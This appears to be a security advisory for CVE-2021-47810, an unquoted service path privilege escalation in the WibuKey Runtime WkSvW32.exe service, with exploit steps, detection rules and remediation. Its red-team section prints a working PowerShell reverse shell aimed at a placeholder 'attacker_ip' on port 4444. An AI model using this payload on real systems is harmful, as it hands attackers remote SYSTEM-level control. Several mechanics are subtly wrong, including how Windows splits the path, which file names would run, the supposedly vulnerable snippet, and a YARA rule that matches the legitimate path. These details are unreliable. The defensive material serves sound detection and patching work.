CVE-2021-47810

Executive Summary

CVE-2021-47810 is a local privilege escalation vulnerability in WibuKey Runtime version 6.51, specifically in the WkSvW32.exe service. The vulnerability arises from an unquoted service path in the Windows service configuration, where the executable path is defined as C:/PROGRAM FILES (X86)/WIBUKEY/SERVER/WkSvW32.exe. Due to the lack of quotes around the path, Windows will attempt to execute each space-separated token as a potential executable. A local attacker with low privileges can place a malicious executable named PROGRAM or FILES in the C:\ directory, which Windows will execute with SYSTEM privileges when the service starts. This allows arbitrary code execution and full system compromise.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone software installation issue.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – requires local access to the system.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – attacker needs a standard user account.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries.
• Confidentiality, Integrity, Availability: High (C:H/I:H/A:H) – full compromise.

Threat Level: High. The vulnerability is easy to exploit and provides SYSTEM-level access. EPSS score is 0.0% due to limited public exploitation, but the attack vector is well-known.

Deep Dive & Mechanics

The vulnerability is a classic unquoted service path issue. The Windows service WkSvW32.exe is configured with the following image path:

C:/PROGRAM FILES (X86)/WIBUKEY/SERVER/WkSvW32.exe

When Windows starts this service, it interprets the path as a command line. Since the path is not enclosed in quotes, Windows splits the path at spaces and attempts to execute each segment as an executable:

1. C:\PROGRAM – Windows looks for C:\PROGRAM.exe or C:\PROGRAM\...
2. FILES – If C:\PROGRAM is a directory, Windows looks for C:\PROGRAM\FILES.exe or C:\PROGRAM\FILES\...
3. (X86) – Similarly, it looks for C:\PROGRAM\FILES\(X86).exe or C:\PROGRAM\FILES\(X86)\...
4. WIBUKEY – and so on.

An attacker can place a malicious executable named PROGRAM.exe in the root of the C:\ drive. When the service starts (e.g., at boot or manually), Windows will execute C:\PROGRAM.exe with SYSTEM privileges, bypassing user account control.

Root Cause: The service installation script did not quote the path, a common oversight in Windows service configuration.

Vulnerable vs. Patched Code

Vulnerable Configuration (WibuKey Runtime 6.51): The service path is stored in the Windows Registry under HKLM\SYSTEM\CurrentControlSet\Services\WkSvW32 as:

ImagePath = C:/PROGRAM FILES (X86)/WIBUKEY/SERVER/WkSvW32.exe

No quotes are present.

Patched Configuration (Hypothetical): A patched version would use:

ImagePath = "C:/PROGRAM FILES (X86)/WIBUKEY/SERVER/WkSvW32.exe"

Quotes ensure the entire string is treated as a single path.

Code Snippet (Vulnerable):

sc create WkSvW32 binPath= "C:/PROGRAM FILES (X86)/WIBUKEY/SERVER/WkSvW32.exe" start= auto

Note: The binPath value is not quoted in the actual registry, though the sc command above shows quotes. The vulnerability is in the registry value itself.

Code Snippet (Patched):

sc create WkSvW32 binPath= "\"C:/PROGRAM FILES (X86)/WIBUKEY/SERVER/WkSvW32.exe\"" start= auto

Or simply ensure the registry value is quoted.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a Windows system with WibuKey Runtime 6.51 installed.
• Low-privileged user account.

Exploit Steps:

1. Create a malicious executable (e.g., PROGRAM.exe) that spawns a reverse shell or adds a user to the Administrators group.
2. Place the executable in C:\PROGRAM.exe.
3. Trigger the service start (e.g., reboot or sc start WkSvW32).
4. The service runs with SYSTEM privileges, executing the malicious payload.

Example Payload (PowerShell reverse shell):

# Save as PROGRAM.exe (compiled or using PowerShell)
$client = New-Object System.Net.Sockets.TCPClient('attacker_ip',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

Trigger Service:

sc start WkSvW32

Blue Team

Detection:

• Monitor for creation of executables in C:\ or C:\Program Files\ with names matching path segments (e.g., PROGRAM.exe, FILES.exe).
• Monitor service start events (Event ID 7036) for WkSvW32.
• Check registry for unquoted service paths.

Hunting Query (PowerShell):

Get-WmiObject -Class Win32_Service | Where-Object { $_.PathName -notlike '"*"' -and $_.PathName -like '* *' }

Mitigation:

• Quote the service path in the registry:

sc config WkSvW32 binPath= "\"C:/PROGRAM FILES (X86)/WIBUKEY/SERVER/WkSvW32.exe\""

• Restrict write permissions to C:\ for standard users.

Indicators of Compromise (IOCs)

• File: C:\PROGRAM.exe or C:\FILES.exe (unexpected executables in root directory)
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\WkSvW32\ImagePath with unquoted path
• Process: PROGRAM.exe or FILES.exe running with SYSTEM privileges
• Event Logs: Event ID 7036 (service state change) for WkSvW32
• Network: Outbound connections from PROGRAM.exe to attacker IP (if reverse shell)

Detection Engineering

YARA Rule

rule CVE_2021_47810_UnquotedServicePath {
    meta:
        description = "Detects unquoted service path for WkSvW32.exe"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-47810"
    strings:
        $reg_path = "C:/PROGRAM FILES (X86)/WIBUKEY/SERVER/WkSvW32.exe" nocase
        $service_name = "WkSvW32" nocase
    condition:
        $reg_path and $service_name
}

Sigma Rule

title: Unquoted Service Path - WkSvW32
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unquoted service path for WkSvW32.exe (CVE-2021-47810)
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7036
        ServiceName: 'WkSvW32'
    condition: selection
falsepositives:
    - Legitimate service restarts
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2021-47810 Reverse Shell"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; classtype:attempted-admin; sid:1000001; rev:1;)

Note: This is a generic reverse shell detection; adjust based on actual payload.

Remediation & Mitigation

1. Immediate Fix: Quote the service path in the registry:

   sc config WkSvW32 binPath= "\"C:/PROGRAM FILES (X86)/WIBUKEY/SERVER/WkSvW32.exe\""
   

2. Restrict Permissions: Ensure standard users cannot write to C:\ or C:\Program Files\.
3. Monitor: Use the provided Sigma and YARA rules to detect exploitation attempts.
4. Vendor Patch: Contact WibuKey for an official patch. If unavailable, consider replacing the software.
5. Workaround: Disable the service if not needed:

   sc stop WkSvW32
   sc config WkSvW32 start= disabled
   

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert